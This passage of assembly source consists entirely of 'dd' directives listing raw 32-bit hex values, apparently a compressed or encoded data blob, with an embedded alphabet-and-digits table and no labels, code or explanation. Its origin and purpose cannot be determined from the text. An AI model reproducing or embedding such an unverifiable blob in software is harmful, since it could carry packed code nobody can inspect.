0CE34A11Dh, 52E0880Ah, 0FED0845Fh, 77F23200h dd 0C8F94CAh, 0FAD1004Bh, 8A7F2089h, 11005653h, 0B8E1CB27h dd 0ADA17h, 76F4F0Fh, 0E3C8FDF2h, 8A225500h, 0BDEAF8FCh dd 759F008Bh, 5334AA87h, 0C7027C8Dh, 0CA1E88A3h, 840740C3h dd 28A00D5h, 274307ECh, 0DE004647h, 7570B033h, 28E6E8h dd 2A09BC80h, 4B26048Bh, 16C78A00h, 0F13E0649h, 0F40000Dh dd 0C8E65B81h, 7D3B0C34h, 37311824h, 5711DCh, 40478014h dd 0D97B754Bh, 28EFF100h, 50390563h, 4E8E8B9h, 0CF498F20h dd 0F8E280ECh, 0B100B054h, 2E0BAFFh, 39735C8h, 496071A7h dd 0D9B013FCh, 2900ADC2h, 4B89A09Dh, 7CDB85h, 5843762Dh dd 0A5799FD7h, 41023000h, 0FF5EE180h, 0D9953C01h, 0E9181480h dd 0C70A57E2h, 88A11C00h, 0F21F75Dh, 408C0059h, 183C8D12h dd 307F2AC3h, 2ED61F00h, 2410A9EBh, 75217EABh, 0E3800002h dd 0FC3245F3h, 75011A6Ah, 0FE4134F0h, 0D670DFB6h, 0E52C0749h dd 0E07D3173h, 0B9FF3E62h, 4D9FD400h, 5F9589ECh, 9334001Ch dd 9BDD88B0h, 1A1D0C71h, 0A89DE410h, 6EB78680h, 0C776B4h dd 0DE3D34Ah, 0D6E8FD4Fh, 7E400401h, 4730BE21h, 0E0446130h dd 13FF7D18h, 1A2CBFh, 0AF4ED6FAh, 0F2B89F23h, 59760E9h dd 5FE4FE00h, 82783EBAh, 5816037Bh, 9297831Dh, 755BC998h dd 33ADFC00h, 8D487C06h, 89231FBBh, 0A7084157h, 61042035h dd 904EF815h, 54A2FE03h, 8041C59Ch, 7444342h, 48474645h dd 4B4A0049h, 4E004D4Ch, 0A51504Fh, 38545352h, 5801C655h dd 62615A59h, 6564C063h, 68676603h, 806B6A69h, 76E6D6Ch dd 7271706Fh, 75740073h, 780E7776h, 307A79h, 34333231h dd 37361C35h, 2B390038h, 24203D2Fh, 9D284Ch, 7D7B5D5Bh dd 703A3B2Ch, 5C5F002Dh, 927222Ah, 91000D0Ah, 0AAE4C4E0h dd 7388E867h, 0DA950F04h, 0C55E24FFh, 0C084EA21h, 0EC8B2706h dd 1490B926h, 3620CB03h, 70D5A801h, 15E60FFCh, 0C62080B5h dd 5C49E960h, 9E099B00h, 9C732D85h, 947A00FCh, 114A641Bh dd 96FC6B5Bh, 8CEC9F00h, 0DB2D16DCh, 0C39707C0h, 914B5421h dd 0FC66C204h, 190759E4h, 941FEBECh, 956BC70h, 4052008Ah dd 0D4CF5C7Ch, 33001571h, 0FF273929h, 3C4BA3F4h, 790010FDh dd 83481F05h, 400093C8h, 0A5CEB6F0h, 823252h, 0D98CD5F4h dd 0C6660347h, 11F01600h, 5521429Fh, 4ABF0051h, 6C7EE292h dd 0BB0076E1h, 0EB071569h, 41B929h, 0DC30630Ah, 0AB83E806h dd 5600807Eh, 0E7C1157Ch, 0F869CFh, 8BFD097Dh, 7E58562h dd 8F82B80Eh, 464BC10Bh, 3D60ED05h, 76EA00F0h, 2BBCE14h dd 0C7143032h, 0CAF468h, 0EFC11A13h, 1C6FF24h, 336AD94h dd 41FA6E7Eh, 2B13ED8Ch, 6AA1B0h, 0A6C246Dh, 7BEF947Fh dd 15684A00h, 648CD44h, 387A4Bh, 519E418Bh, 2F02BAF3h dd 921ACF07h, 0E83084E9h, 7BDD206h, 0A7EC4FF9h, 2ADF90C2h dd 2004589h, 169F4999h, 0ECD9C65Ah, 6B7623h, 2F42C288h dd 0F0CA36FFh, 0BA70E100h, 0F969CB33h, 0AD5C00D4h, 6068A240h dd 627F6FD8h, 3BB50303h, 0A86D5AA4h, 1FE361Dh, 5315C83Fh dd 0D4952D01h, 0D8023B81h, 0C029B27Ch, 6EE0E01Bh, 592EC49h dd 50B1C594h, 2132839Fh, 0B2525207h, 62B071C4h, 790B0A0Dh dd 1EB473FFh, 15D80CAh, 0B186A9C6h, 0A33EF44Fh, 50495307h dd 16B5B95Bh, 32A0C1C7h, 0FC982A64h, 0F8281C13h, 5EB9C023h dd 52250194h, 4690200h, 484EB36Fh, 0A25F0010h, 0BF446CF0h dd 25001609h, 9DC24FAEh, 3081B8h, 9208E2C1h, 0E90071Dh dd 47D10B00h, 75484B0Dh, 782E74EEh, 0FAB70066h, 498A01D3h dd 0C0F8840h, 206A4306h, 0E183CAC1h, 6CD5003Fh, 184C2596h dd 0EAFA270Eh, 6031E70Fh, 0D6D4006Bh, 79FC6ACh, 68B1527Fh dd 900A97C9h, 750BCB7Eh, 6B80D100h, 902D37D8h, 0B85000E6h dd 477CE29Fh, 3F72A4A3h, 4058AB00h, 252785A1h, 9F000C6h dd 5F1CF405h, 8F000F15h, 334E99A4h, 0EC859A23h, 0F36A0058h dd 0CAA15AA9h, 761E05F1h, 308A2B8Dh, 7C01BB3Ah, 0E0EFE378h dd 0A2D0D6F5h, 0A4EC64h, 0F692FF30h, 75023A07h, 0E2C64600h dd 94D701EFh, 0F83E0F17h, 7CC08483h, 0B6D44733h, 0BCA8E07h dd 5E90148Dh, 139629h, 0C9241C1Eh, 0FE0274B1h, 1ADC0900h dd 0D280B8FFh, 3B5E079h, 754F4304h, 7DD830D3h, 10017414h dd 0C45B1FFh, 0C03E3B08h, 0A689057Ah, 2EDDF400h, 44D12D1h dd 341D0F65h, 4700F78Ah, 0FD44F8A1h, 0A200D9E4h, 6590899Dh dd 582E38h, 0F02D704Fh, 10E9A151h, 0A2271801h, 74532F85h dd 0BCD1D8h, 0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh, 4717CDC0h dd 1E8AEB5h, 0F6B02BCFh, 20E6D655h, 0F0122C84h, 9CECC3FAh dd 0D465007Eh, 0C1E4ED15h, 0F7000316h, 0CE2B94BFh, 756247h dd 12EC04B9h, 0A7C82728h, 1114D3Ch, 2EDE2CD3h, 0C0D7A242h dd 1EAED4A3h, 8FCAA4E4h, 5A3DD69h, 0DCB87610h, 0D0018BD7h dd 89DF6F62h, 9220A270h, 107891h, 13A9D812h, 2C78F0CBh dd 80060B00h, 60E25C3Bh, 4BFEFEh, 0B57EB0DEh, 0E5BD2AECh dd 154F1B00h, 194558F4h, 927777h, 7FB7DD56h, 5E5F630Bh dd 0F4716001h, 91A5C438h, 875F0h, 0F24A5A33h, 44022717h dd 41A4EF00h, 69E95748h, 5FEC6Fh, 37814531h, 9453885Bh dd 57018D7Ah, 0E8719D0Dh, 46C847BFh, 17C800A0h, 5FC34287h dd 34029CDDh, 0F0C5FC91h, 2256C1AAh, 3812CCh, 72F77DA4h dd 19681384h, 0C174C600h, 505FC752h, 0A69F00BDh, 9D0F7386h dd 2C000279h, 34EC9632h, 64AF37h, 39C495C6h, 56B29EB3h dd 0C585F71Fh, 4DB86345h, 0C3EC58C0h, 0D31D003Fh, 0A632E606h dd 0A094B17h, 0CDE7B1h, 3A25A58Eh, 0E6AAEC29h, 93FA0044h dd 0D01B9266h, 5E01BB65h, 14B45026h, 2AD419F2h, 0C79F0987h dd 0E60089A9h, 0AF560574h, 316F839h, 9CB466ACh, 0D88CC364h dd 758BDDh, 4B937C2Fh, 6A24A058h, 7A820300h, 5AC773A4h dd 0BA727Eh, 27841D5h, 0C327116Ch, 4B8E5901h, 0A6B01E5Fh dd 40D2ECh, 7517496Fh, 227C3966h, 0A39F4507h, 86202F71h dd 0D94161h, 7BDB2529h, 676F881h, 35A85500h, 75AE2638h dd 0CB450093h, 1834EA74h dd 232E04DFh, 0AC034A08h, 0E88237EBh, 641AE2h, 0A6432101h dd 9854B34Ah, 0FC93B909h, 48815F69h, 0D4022D6Ah, 7D004DBEh dd 0C59B05A4h, 0B062A7h, 42BFC963h, 1C8F36A8h, 0FF96D100h dd 0C4B8BC6Ah, 124F1D5Bh, 9C5C044h, 2C464772h, 40703802h dd 7D94C0AAh, 0E8C0230Fh, 0FC9591DBh, 45F60A7Dh, 8D268F00h dd 7AF2357Bh, 1AD2052Fh, 0C0F007D3h, 0C2552B85h, 0F4D07800h dd 1B3BC13h, 100B002Eh, 0E881A64Ah, 910F2924h, 60F164A5h dd 9F0D9669h, 95840046h, 866A4BF6h, 0E8075414h, 302B75FCh dd 0F0CBE693h, 0E329BAh, 0AC2C164Ch, 0F55CF4E4h, 48FC2D01h dd 5A59A165h, 70A580F4h, 0A62107E2h, 436C14C4h, 35A94485h dd 5F51E0DCh, 92F46000h, 0C9311EFCh, 0CA090549h, 80405553h dd 0C807302Dh, 94E98800h, 0B6F2E06Ch, 667C08h, 0D806EBD1h dd 35F00973h, 83203E1Ch, 0B8F38100h, 0CEFEEDh, 31EB1C75h dd 4FDA8EC1h, 5BD5E100h, 0EF6CD2F7h, 0A5D0003Eh, 0AFA955C0h dd 61004384h, 97C447D4h, 0E8510E2h, 28BFEDA0h, 0EC41DA0Fh dd 0F0A8E0D6h, 0BBFC59ADh, 80F3A53Eh, 46712D63h, 7B849743h dd 0FC1807B2h, 518A1403h, 0C09DDF92h, 9EB0D368h, 0F8043Dh dd 5DD0D45Fh, 3CC60150h, 8980B0A2h, 85FC29B7h, 4DEE17A9h dd 7B2CDC00h, 5A241051h, 0E8010021h, 0B1ECDD4Fh, 93057102h dd 52DF2347h, 0F31617C0h, 4FAC0028h, 77E50FCCh, 3E002941h dd 0C8099412h, 1B1697h, 0F9A8072Dh, 7CD15A58h, 0F0564500h dd 0BA51F6E6h, 5B380160h, 0CE077948h, 0B146CCEBh, 10FE8300h dd 0C1ECF1EDh, 0DC95005Eh, 96D37224h, 0A800ABE2h, 67BD1E75h dd 0E8D1ED2Bh, 8CB000E6h, 70834FF8h, 7C0058FFh, 3C709EFh dd 9160C0h, 0A8A0048Ah, 3B94980Bh, 61114A00h, 51010244h dd 0E3C10012h, 88C33683h, 71174606h, 2800295Fh, 34B264ABh dd 0A58B1DAEh, 0E45200D2h, 92B2CB1h, 5CC45905h, 0C8016278h dd 565B5A02h, 7F89760h, 8BFC12AAh, 40C2B7F3h, 789E7908h dd 0B1A96000h, 985E58Eh, 0FE500134h, 4D8B42ACh, 0FD94DCDAh dd 51E8AFF8h, 7400197Bh, 49CF5C1Fh, 1D952044h, 8D1118h dd 0CEEA2FA3h, 0AB984556h, 58B02100h, 209EA967h, 2AF3007Eh dd 2C29BC6Dh, 0D8E89F57h, 0CA529C00h, 42A4968Fh, 0D575FFh dd 0ABE8C3C1h, 290C3292h, 0AF880807h, 0ACE0DB7Ah, 1CC21FCAh dd 0C0E69443h, 1C77CEEDh, 61E2BA6h, 814097AAh, 0E38D5426h dd 5E280070h, 0DCBC2C4Fh, 0F277C28Bh, 0B689E200h, 912F1CAAh dd 834000E4h, 64751EF8h, 0DE019A5Dh, 0E83120BBh, 646049A3h dd 0B7241E79h, 0A2A500A9h, 4659DE5Ch, 62B52900h, 2EA68A3Dh dd 891A0010h, 0AE1F783Bh, 0EF1E200Dh, 0A2405096h, 8B100E75h dd 0A98D00FEh, 7ADF1DEh, 6600A5F3h, 2D5B1E29h, 51AABDh dd 0CBCC734Ch, 0C9705CB8h, 0BD4E000h, 3F77FC45h, 29C400F5h dd 7C27785Eh, 4C0081A9h, 0B22B1ED9h, 3B8352C0h, 0BD0088DAh dd 0B3ABFE59h, 0B900D40Ah, 33B4A913h, 1420AAh, 5F90C3C9h dd 0AF81EA92h, 5108B900h, 0E97C805Eh, 126E001Fh, 7B74A9DDh dd 500EB3Bh, 570F01B5h, 0C282Ch, 92049EC8h, 0CCE40DC9h dd 0EE063Ch, 10D008D4h, 0F831FCh, 1DD87D89h, 59226421h dd 0AC1F34F8h, 0F60080E0h, 528AACBh, 0BCD400C8h, 0B3E81662h dd 0BE002B24h, 0D01EBA19h, 7E33D802h, 2C050049h, 0EB63D759h dd 32002126h, 0F21E6FCCh, 2C1CC851h, 8E0BF7h, 2331716Ah dd 600159Bh, 0E14CBA84h, 0D2CBFAh, 0CE2824Bh, 779808DAh dd 9A0B2700h, 3B42D6D3h, 9FB0ACh, 6759C2C8h, 5CD42630h dd 9600DEFAh, 1B88CCE8h, 0DC7EADh, 50E94151h, 0FBFE7DBh dd 0BCDE6300h, 440C70B1h, 94EF0361h, 0A82414E3h, 2010709Fh dd 0AC0040B0h, 39B481B8h, 0F85BC5h, 0B6BE24FCh, 0DC224972h dd 20581D73h, 0A4AD004Eh, 19FA1E82h, 0E00200B8h, 0B449DC3Bh dd 0D2732D16h, 36C5Ch, 71CF4691h, 28AC29h, 2EB6704Fh, 0BE18A867h dd 9AC3B216h, 6900911Fh, 22291646h, 24AD0164h, 0D81B996Fh dd 0B6E0DE51h, 505BAA8h, 64F9E3ECh, 0F195A50Ah, 54189107h dd 8F200DBh, 1FD84293h, 814EB914h, 89D2D0B2h, 0CC1C9E64h dd 988603FDh, 0C80A91D9h, 53AE5Bh, 175874DBh, 0EF0B4A4Eh dd 0FF9CF018h, 0EC7552h, 185F8068h, 0F4E363C1h, 0E02BA00h dd 1E4E1077h, 0E48C01AFh, 18A7F660h, 2030D914h, 0E1752A88h dd 4C7C7175h, 0FA80DC01h, 820643BAh, 8C68DCh, 0B33242Bh dd 2CD247B9h, 42621900h, 0C9DC21AEh, 0CED72673h, 0B2900085h dd 430C967Bh, 7D3C2D7Dh, 8010B977h, 22FFD392h, 0C08368h dd 0F31FB078h, 0CEDBF603h, 0BACF1B00h, 40AF3F13h, 87B600B2h dd 0D7E7F40Bh, 4C0092DFh, 11D46D0h, 0F87032h, 0F4F15DD5h dd 0EC933C2h, 0A9CAD200h, 29AF6A84h, 2A811238h, 0C3050102h dd 0C9109E43h, 8722703Fh, 0F5933Fh, 8F060F38h, 3BE30811h dd 1680FA0Ah, 0B4F845B7h, 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh dd 7CB091E6h, 5C0E479Ch, 79535400h, 694C0901h, 31500062h dd 736DC81Eh, 0F3030C5Ah, 0FF2593CCh, 1D8BD856h, 0A953023Eh dd 7D04BFD9h, 95746240h, 75EFFB0Eh, 1A02610Ch, 81F59868h dd 8BECF4h, 0EB124DD3h, 0EECFF34Bh, 5F4A4800h, 0FC555280h dd 25C13BB8h, 934BE880h, 0D01603Ah, 9F761C00h, 45283EE9h dd 0A9440006h, 2714914Fh, 2500F823h, 0E5EA6BABh, 7421396h dd 124756DBh, 6CD18053h, 78001B76h, 9CB9A1C2h, 28D745h dd 954E4F1Fh, 0AC841D68h, 2299A200h, 0DFE68B71h, 903A7896h dd 645C00D7h, 0D98F04ECh, 51007509h, 0FCF01440h, 0ECEBB2E4h dd 8C5B015Fh, 8464BDFh, 63DECE6h, 4253B00h, 0DB19C1D0h dd 0EC0200EBh, 78B9F6FFh, 2D000DF7h, 2CC4F43Ah, 0B89DAAh dd 3358DD7Bh, 20BEC529h, 624CB207h, 145013E6h, 35BE82Dh dd 8DB86104h, 80EDAD2Fh, 6890DD1h, 4938F800h, 5328BAC6h dd 0CB150A91h, 0AC318Bh, 3FB833Fh, 0C006076h, 9BE848D2h dd 24C518h, 9C098940h, 0B01F0456h, 7E2B1425h, 9A8D00CDh dd 0BA1A8626h, 0E6313800h, 0F4C2CA93h, 82240394h, 29B2F972h dd 0AF051B0h, 26DB2200h, 9317E83h, 0F22B3D74h, 0A54E7980h dd 9B20B425h, 874F987Fh, 1A2C4DBCh, 0A9C70040h, 91DC45C9h dd 804D073Bh, 8A032D2h, 7C701094h, 0E4A82C5Ch, 85E80085h dd 38BFB2B0h, 5F8BA400h, 14AFB7D6h, 98C800BAh, 85903B8Ah dd 0FF002175h, 66FF9BCh, 4C4E1E96h, 61008BDEh, 122BC667h dd 0E8FBF687h, 9F3C1043h, 0B2B78B55h, 0A08F006Fh, 29EAA5h dd 0C4363240h, 212DB350h, 0C671F39h, 0E2E165Ah, 22F86Ch dd 0D23CD34Eh, 0B8F84883h, 0A1B301Ch, 90167343h, 0B40CD8C5h dd 0B2440013h, 573ED36Eh, 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h dd 12532E4Ch, 295C0097h, 73D06630h, 2C03B3F0h, 2116D3A2h dd 545B8D8h, 0FFDD00D2h, 0C743759Ch, 0A90E1048h, 0AF490F26h dd 5C6E05ADh, 0AC0C0680h, 7C477574h, 9251EE4h, 37B30FB9h dd 0C26308A7h, 8940A2D6h, 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h dd 0E08480A8h, 0B5165CB3h, 63210069h, 0ECFC6579h, 9400478Dh dd 542DF450h, 7F5ABAF0h, 65B60026h, 0D04351BFh, 0C6000AB2h dd 2B610B8Bh, 0E1B510h, 559D8A6h, 0E6A8C4Ah, 0B7D49C00h dd 0BCCDA06Bh, 7AC40E11h, 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh dd 7D549D00h dd 83DE9ECFh, 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h dd 394F73C0h, 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh dd 8492D00Ch, 0B85D3207h, 89C9B412h, 26AA00FAh, 82EFF4h dd 51CE7D8Dh, 0FDC39257h, 6642411Eh, 21F34C47h, 387EBC7Ch dd 0BF00493Eh, 19EBE8D2h, 0A800C3BEh, 0B48EA30Eh, 9E2FACh dd 1DA6759Fh, 42485536h, 62034BF8h, 0D89B545h, 44A9D06Dh dd 0A5CE0191h, 22D725BFh, 0B8AFC47h, 0AC644A00h, 0F819F669h dd 0A829001Ah, 0DF54E20h, 7BB8BA2Ch, 3F6051ECh, 0BE80D616h dd 105E0BB9h, 28808875h, 0CCAB85FBh, 0D6502607h, 0E71FE031h dd 558044BEh, 3E25D2F4h, 74047864h, 0C0A040FBh, 0F02E13D3h dd 0D8482AE8h, 48CD0076h, 9559B745h, 0E2050078h, 0C1BAD5B8h dd 5400F8DCh, 0E18ED34Ah, 2EC4694Bh, 0C19062h, 88792B52h dd 650078BFh, 80C1B0B7h, 107EBh, 3A740472h, 7D956E67h dd 755CE9F8h, 1451006Ch, 9EE325Dh, 0E590028Ah, 4DD78970h dd 0BE81D489h, 0D804B84Fh, 1E00FDA2h, 0A1383652h, 20E6305h dd 1D451723h, 0DA401929h, 92FE8048h, 0F104741Dh, 0FDA5E7C0h dd 7CDE4F4h, 0F00693FAh, 0B92F9061h, 0BB00793Fh, 4A97892Bh dd 1835B59h, 8E1CC778h, 700AFB45h, 0C90013BBh, 4B7E0D0h dd 2659FA5Fh, 0DE010Dh, 0E7557C8Ah, 0E8074284h, 5319A76Bh dd 0FF046FE0h, 57933E8Eh, 0C85A1A00h, 8FB083FEh, 0A7E2F03h dd 9880E10Fh, 0F94594h, 15086EEBh, 81C49610h, 67D38600h dd 0A528F895h, 0C5AD1F41h, 0FE830001h, 0FC457E02h, 0B000998h dd 3E7DF03Bh, 0FA4178h, 0B838147Fh, 48A08203h, 0D4287528h dd 2421F800h, 0B1541A22h, 102EC84h, 0AFFB672Dh, 60DC68C2h dd 0F4CF45Dh, 80553EADh, 0B9368BC5h, 3CD20873h, 0B897304Ah dd 0EE8800A7h, 0E4C16D7h, 616C4300h, 1C8E3373h, 0C8460048h dd 0ACA754D9h, 0F03E8B0Ah, 347D80CAh, 24B50CE2h, 0B8A20F44h dd 0B9C0233Eh, 847252A4h, 0F414D005h, 2EC003F9h, 1326FE9h dd 36FFC327h, 30E025E2h, 5C484A69h, 7CBC000Fh, 0A72B20D1h dd 99D4004Ch, 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h, 0DDCAEF01h dd 0CC563334h, 1845CE8h, 0DC60FC27h, 0F42D4628h, 0BE4A2FFh dd 88008398h, 3B633169h, 7FC99E21h, 0F9E5000Ah, 4E47C14Bh dd 0DB98DB75h, 0A95B1207h, 0CCD0CF69h, 0E8BAB113h, 95030097h dd 20F1407Bh, 2300DC4Fh, 12C0262Eh, 0E738EDD4h, 36C85E8h dd 0F575A8BBh, 0BE88A9B0h, 7276CF3Eh, 0D68A4200h, 0C8F8910Eh dd 8D8E00DAh, 7DD2DC70h, 0D77B86F2h, 4DCB30EBh, 3E73E700h dd 1B094892h, 0D67B16h, 0BEB5205Fh, 6F67699Dh, 2F652500h dd 7BBB7389h, 997200B6h, 622ED8ACh, 5C00F814h, 2DDAC408h dd 7FF5BD48h, 0AF250085h, 0A5134D98h, 4C0EC6B7h, 0AEA4772Fh dd 1174A03Dh, 0B239CBh, 0EB057D0Bh, 0FF35EFAAh, 4831B800h dd 84D4295Dh, 34FC0064h, 62B995EDh, 0A800CBF8h, 0D88831FFh dd 0E4870803h, 4498004Ah, 0F2750F45h, 0C40043A3h, 528EBCF0h dd 7FB58B5Fh, 4D85006Bh, 4EB8BD7Bh, 22606CBh, 7500DB83h dd 49975E77h, 50032429h, 94C60329h, 0CEFBECC3h, 0FC7B0A00h dd 0ED45AA09h, 64407A7h, 906A1863h, 86D89A3Bh, 10AE7B00h dd 2474DC2Fh, 1D1707D9h, 0FE201319h, 575AA00h, 0AE000AC5h dd 5EEEE674h, 3F105CB0h, 34818ACCh, 0BA169DF8h, 0BC59C0BEh dd 0E484261Eh, 5B008B1Dh, 438AC268h, 0F88807BDh, 5728D152h dd 42D480A4h, 1C002521h, 890F0C4Eh, 533F43h, 8FB64B8Eh dd 0BD91C52Eh, 0AD3AB200h, 0CEE9143Ch, 66D6001Ah, 5161DA4Bh dd 1FA109Dh, 0BEFC8A07h, 85308F58h, 79A8D9ECh, 5F72014Eh dd 3DE45570h, 79F0F430h, 3F538B01h, 0D0CFCC9Ch, 0D37330h dd 68F810D9h, 21BE42B8h, 0D611EC00h, 0F49061DFh, 0ABF300E5h dd 0FA649793h, 0AE7637F5h, 0D3742000h, 4E030688h, 63C817ACh dd 43030004h, 79FA013Eh, 575D9600h, 0CA974E39h, 0E0C7007Ch dd 9E14998Bh, 5E0080BEh, 0F1E95C9Ch, 79413F4h, 16DF95E3h dd 824485DAh, 20614BECh, 7C8DE00Dh, 1D4C2005h, 78C749B8h dd 6307C2F0h, 6240F8Bh, 0C5D404BAh, 0DABF3000h, 8DFB0228h dd 0C540EBA0h, 8A998100h, 0C2935E50h, 25EA3A6Ch, 0D530B700h dd 0CAC0237Ch, 25F74Ch, 0F64C9B90h, 0B00507h, 0AFECE901h dd 0D854DF4Dh, 0B72D8800h, 0EF3364AEh, 35D01A0h, 9EEDF49Dh dd 283C3043h, 48080400h, 200C112Ch, 10440114h, 66D38318h dd 0EF0AEC3Ah, 0EB851200h, 0F0335346h, 811E006Eh, 2E3A4D09h dd 2A007586h, 144642A4h, 12711821h, 0FC7AB5C7h, 0AB770029h dd 4163094Ch, 0B642039Ch, 747B7540h, 66B8DCF3h, 0C300DF29h dd 2CBED669h, 39B467E3h, 721B5348h, 44E81EA2h, 8013BF7Bh dd 0B700E99Fh, 45DD2609h, 600400F3h, 50520717h, 0AE8E2ADh dd 0E8813B1Fh, 0DA097540h, 5A9780h, 7B517358h, 7D0CC5EBh dd 257A4B00h, 0B5A81221h, 0B44A00D4h, 0B3F7949Dh, 8F00BB98h dd 51057724h, 49BAFFh, 88B04876h, 427A92A2h, 0BF01EA07h dd 7570E579h, 47C589h, 0F441A74Ch, 0DC867FDBh, 0DB80600h dd 0CFA4D27h, 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h, 0F4007FDEh dd 13B2F628h, 306614A9h, 602AE89Dh, 32037273h, 85FC15C8h dd 610AC0F6h, 1E760314h, 0F421FA12h, 0E05816D1h, 0C004277h dd 0A771AE9Eh, 0B05259DCh, 0F24C00D5h, 8B518968h, 7C00C53Ah dd 45491926h, 1602546h, 4CBAC38Ch, 0DCB49535h, 0F7F420F8h dd 4301200h, 16344828h, 1F722Ch, 93FC4978h, 9A2F58A0h dd 0E50011Ch, 13C93840h, 3D907F10h, 0C03E53EDh, 3B46F200h dd 0C4972CEh, 1220E002h, 0E00161C3h, 72BE1B3h, 53449FD0h dd 86260E8h, 5AC07473h, 0FA9DD29h, 0D5800714h, 0A0240BC9h dd 4519127Bh, 5A588402h, 0E046A00Dh, 23F1FDh, 76EB3B32h dd 0C409FAEh, 101DC3ECh, 7CC0C62Bh, 7B80287Dh, 75242789h dd 0E400395Ch, 98BE742Ch, 0E2F5980Dh, 0C7493h, 0C3401D16h dd 0E00355A8h, 840F9E00h, 0CE3285BCh, 1404000Ch, 18151048h dd 0B975A775h, 7208F600h, 277C432Dh, 28393A29h, 0BF1C4412h dd 8A0EAA01h, 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h, 5E079849h dd 8A215350h, 0D45BCFF0h, 0A02A3969h, 4A61804h, 0B100EA42h dd 0E790B0C3h, 0A51D0075h, 74349119h, 3B002B85h, 47763196h dd 0CB92Ch, 97AF2F1h, 0F31CC624h, 8806BB1Dh, 7542AF00h dd 0F9CEC937h, 83C6DAC3h, 7ABD32A2h, 339000B6h, 681574C5h dd 0C8480C2Bh, 76193C00h, 8B0FC0FBh, 1DA6CE00h, 0AFB13B25h dd 0C3EA004Ch, 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh, 0F0141BAEh dd 810B00A6h, 0F73002B0h, 71009735h, 88930839h, 2E03117h dd 0EA1052Bh, 14409601h, 0E11EA4A8h, 4AA6C44Eh, 75027600h dd 24B82Fh, 0FA4CFD63h, 930447B5h, 27F22000h, 21AF7819h dd 1C080037h, 0E5365D8Ah, 0C4005523h, 2D839040h, 6E9F18h dd 8568A120h, 512C250Fh, 8CE2A803h, 0C01015C4h, 1D08F9D7h dd 0CFBFF4h, 0F7B0A16Eh, 75078268h, 972CB815h, 9167AB30h dd 96B438F3h, 3043D001h, 0F4C54C16h, 6400EC7Eh, 0EF560441h dd 7102C7Fh, 6032C824h, 68C0DE09h, 70916C48h, 54770271h dd 0BDB0901Fh, 22C81FBDh, 15E2E100h, 2CF0CC2h, 4409F806h dd 0D7C0086Ch, 313F744Ch, 32D08303h, 0EB3FC618h, 64C4A030h dd 0FA88E66Fh, 80330031h dd 0FD98C81Fh, 0FCE5FA10h, 0E8FAC1D9h, 1EF7620Fh, 22C780DCh dd 6E342174h, 0B8010C6h, 0A478B341h, 5000307Bh, 0C81EF9C7h dd 1089264h, 0E4CCA02Fh, 0E0D3ECC1h, 0CE20431h, 0DC109400h dd 5FC86070h, 524F1F58h, 7836C026h, 0EC6CBC95h, 4EEE4B0h dd 80EF1B0h, 20118F0Ch, 0A052431Ch, 0E06B25EDh, 64132BFEh dd 54B07F01h, 0A02F8625h, 0A12C252h, 35030FC3h, 85E36798h dd 0E8F980AFh, 0EB003AF9h, 1C8B0104h, 4CFB8688h, 6F486EC1h dd 8A058902h, 0BDE07549h, 44073848h, 3B431513h, 17CB0F30h dd 9DF50120h, 0FA5F7442h, 5DD82046h, 0FDC64A00h, 13BC4F03h dd 7406003Bh, 33D0FCF3h, 5800C909h, 67E47BE8h, 98E28025h dd 0DB2000D9h, 0F1844E1Bh, 17039A7Eh, 9CEA6523h, 0CBBCC85Fh dd 988E000Dh, 0B5FB0444h, 96002B84h, 487107BDh, 7B5806A0h dd 7021004Ch, 54400F50h, 2301FEE3h, 0F7EBE8FBh, 3D5ECD5h dd 75045F60h, 0E0CF003Ah, 0EDE7C1F9h, 0C700E9CCh, 8DF5C378h dd 2523FB18h, 1250EC0Ch, 0BEE2418h, 1047AD4h, 0F8F5C7CDh dd 0D8073A9Ch, 0C302E0E8h, 0F918588Fh, 0D952C023h, 8AFA1C9h dd 3CF7E6C4h, 0DF0394DBh, 0FF15EE33h, 2EF82F22h, 0E45ADF3h dd 3E07A01h, 3A96B3DFh, 0EB981307h, 0DA900B0Dh, 1F437329h dd 802BB61Bh, 3B887410h, 200758C4h, 14428C8Fh, 2C915477h dd 23E8463Dh, 72510118h, 741CAF94h, 2089E8F8h, 0BE210B3Ch dd 687702C4h, 0F70EC859h, 0A8289300h, 2C0489E6h, 0B703841Ah dd 0F8589383h, 0EE8885C5h, 34C40790h, 0AE423C2Ch, 622025CFh dd 5A193538h, 4A14AF7Ch, 0BB6CF74h, 83FD0CA5h, 80A89195h dd 0C5812Ah, 5A827999h, 7FAE037Ah, 0CCA24200h, 369D86EEh dd 0C8C00B7h, 576AF8CDh, 53012910h, 4205208Bh, 5460CAC9h dd 52C63F1Bh, 0CCE90C00h, 29206A15h, 0C897D40Fh, 0B0178709h dd 0DDA905D1h, 320B8CD0h, 30500DA3h, 20EF0Eh, 2E841343h dd 342200A6h, 46A2F82h, 8800A495h, 4178C646h, 91085B8h dd 436DAC14h, 0A16A1787h, 2AB47023h, 0A9ED6FB1h, 2E80A745h dd 0F286D2E8h, 59FCF3D8h, 11A7EEAh, 2B1864E5h, 30C3113Ch dd 2330B9CFh, 0F4284214h, 0AA4D3B21h, 44A45309h, 76D200F7h dd 0F87C84A7h, 56A80027h, 0E2C78E21h, 1401B989h, 0B5B21C42h dd 22D04334h, 64B0B8h, 0EC1BF1A2h, 831F3C32h, 0C7813A07h dd 6E10D9A1h, 0B533FE9Dh, 0BA029482h, 279955E0h, 58C84200h dd 601F5389h, 4FE91F3Ah, 8FAEC3ABh, 22960940h, 1C5C20h dd 0A56CE907h, 67B88D34h, 14D60818h, 3E02D31Ah, 0E987ABF0h dd 800F7BB1h, 94E21A11h, 437C9C00h, 0C4A3887Eh, 0CB381F28h dd 64BCDE8Dh, 0EE80751h, 750B0C8h, 0F39087ACh, 8BFA683Ah dd 0FC91F08h, 4347E700h, 275FC4F7h, 21171432h, 34D1A6D0h dd 5A83EC0Ah, 767AC0D9h, 9B12B2BBh, 6D002C31h, 62B444C3h dd 4314001Ch, 4152A2E0h, 5100C2E9h, 0FF33F81Fh, 3F990h dd 52EE5D7h, 5EE2C189h, 527C4Ch, 12414B4h, 348504Ah, 4C425A06h dd 84C37210h, 